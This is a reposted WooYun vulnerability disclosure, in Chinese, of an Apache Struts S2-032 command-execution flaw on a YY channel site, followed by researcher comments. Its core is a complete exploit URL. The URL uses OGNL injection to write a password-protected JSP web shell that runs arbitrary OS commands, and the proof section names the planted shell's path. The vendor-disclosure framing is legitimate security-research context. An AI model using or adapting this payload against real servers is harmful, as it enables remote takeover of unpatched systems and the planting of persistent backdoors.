广州多玩某站s2-032命令执行可shell

2017年4月27日23:21:00评论347 views字数 220阅读0分44秒阅读模式

摘要

2016-04-26：细节已通知厂商并且等待厂商处理中
2016-04-27：厂商已经确认，细节仅向厂商公开
2016-05-07：细节向核心白帽子及相关领域专家公开
2016-05-17：细节向普通白帽子公开
2016-05-27：细节向实习白帽子公开
2016-06-11：细节向公众公开

漏洞概要关注数(45) 关注此漏洞

缺陷编号： WooYun-2016-200811

漏洞标题：广州多玩某站s2-032命令执行可shell

漏洞作者： Forever80s

提交时间： 2016-04-26 15:54

公开时间： 2016-06-11 00:40

漏洞类型：命令执行

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： struts 远程命令执行

8人收藏

漏洞详情

披露状态：

简要描述：

struts s2-032 命令执行 ^_^

详细说明：

http://channel.yy.com

直接写shell

code 区域

http://channel.yy.com/auth/login.action?method:@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get%28%23a%29,%23b%3d%23req.getRealPath%28%23c%29%2b%23parameters.reqobj[2],%23fos%3dnew%20java.io.FileOutputStream%28%23b%29,%23fos.write%28%23parameters.content[0].getBytes%28%29%29,%23fos.close%28%29,%23hh%3d%23context.get%28%23parameters.rpsobj[0]%29,%23hh.getWriter%28%29.println%28%23b%29,%23hh.getWriter%28%29.flush%28%29,%23hh.getWriter%28%29.close%28%29,1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%253d%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%253d%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%253d%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%253din.read%28b%29%29%21%253d-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E

漏洞证明：

http://channel.yy.com/ksi.jsp

修复方案：

update

版权声明：转载请注明来源 Forever80s@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-27 00:30

厂商回复：

感谢对于欢聚时代安全工作的支持，我们会尽快修复！

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-04-26 15:54 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高，标题一定得屌)

0

我刚准备刷就有人开刷了

1# 回复此人
2016-04-26 15:59 | 0x 80 ( 普通白帽子 | Rank:1845 漏洞数:509 | If we give enough, if we learn to trust ...)

0

@路人毛呵呵

2# 回复此人
2016-04-26 16:07 | oneplusone ( 实习白帽子 | Rank:60 漏洞数:18 | 三十功名尘与土，八千里路云和月。莫等闲、...)

0

楼主真快

3# 回复此人
2016-04-26 16:09 | 欧冠狂魔阿森纳 ( 实习白帽子 | Rank:87 漏洞数:37 | 静静的看你们装逼)

0

真快

4# 回复此人
2016-04-26 16:09 | 小苹果 ( 普通白帽子 | Rank:255 漏洞数:34 | 只要锄头挥的好，哪有洞挖不到)

0

洞主求exp

5# 回复此人
2016-04-26 16:10 | Bison ( 实习白帽子 | Rank:53 漏洞数:14 | )

0

楼主身手好快。

6# 回复此人
2016-04-26 16:19 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

0

6666.神一样的速度、

7# 回复此人
2016-04-26 16:21 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

0

struts s2-032 。。。。。。

8# 回复此人
2016-04-26 16:22 | BMa ( 核心白帽子 | Rank:2078 漏洞数:229 )

0

@小苹果看zone

9# 回复此人
2016-04-26 16:24 | 小红猪 ( 普通白帽子 | Rank:341 漏洞数:62 | little red pig!)

0

牛逼，这速度

10# 回复此人
2016-04-26 16:39 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:88888 | WooYun认证√)

0

EXP刚发就发现在刷了。。。。牛

11# 回复此人
2016-04-26 16:42 | 咚咚呛 ( 普通白帽子 | Rank:263 漏洞数:34 | 我是一只小毛驴咿呀咿呀呦~~)

0

也是够了

12# 回复此人
2016-04-26 17:16 | 存在敏感词 ( 实习白帽子 | Rank:66 漏洞数:9 | 我是大傻逼~)

0

牛逼

13# 回复此人
2016-04-27 09:12 | P0ker_L ( 路人 | Rank:8 漏洞数:2 | 趣果有间，孤独无解)

0

@momo EXP在哪里？

14# 回复此人
2016-04-27 09:13 | P0ker_L ( 路人 | Rank:8 漏洞数:2 | 趣果有间，孤独无解)

0

@momo 啊看到了。。。

15# 回复此人
2016-04-27 13:32 | 我叫肥羊 ( 路人 | Rank:23 漏洞数:10 | PHP是最好的语言。。。。。)

0

....心酸和你重复了。。

16# 回复此人
2016-04-27 14:09 | 小苹果 ( 普通白帽子 | Rank:255 漏洞数:34 | 只要锄头挥的好，哪有洞挖不到)

0

跟这一波洪水过了后面再找，不然都是重复

17# 回复此人

漏洞概要 关注数(45) 关注此漏洞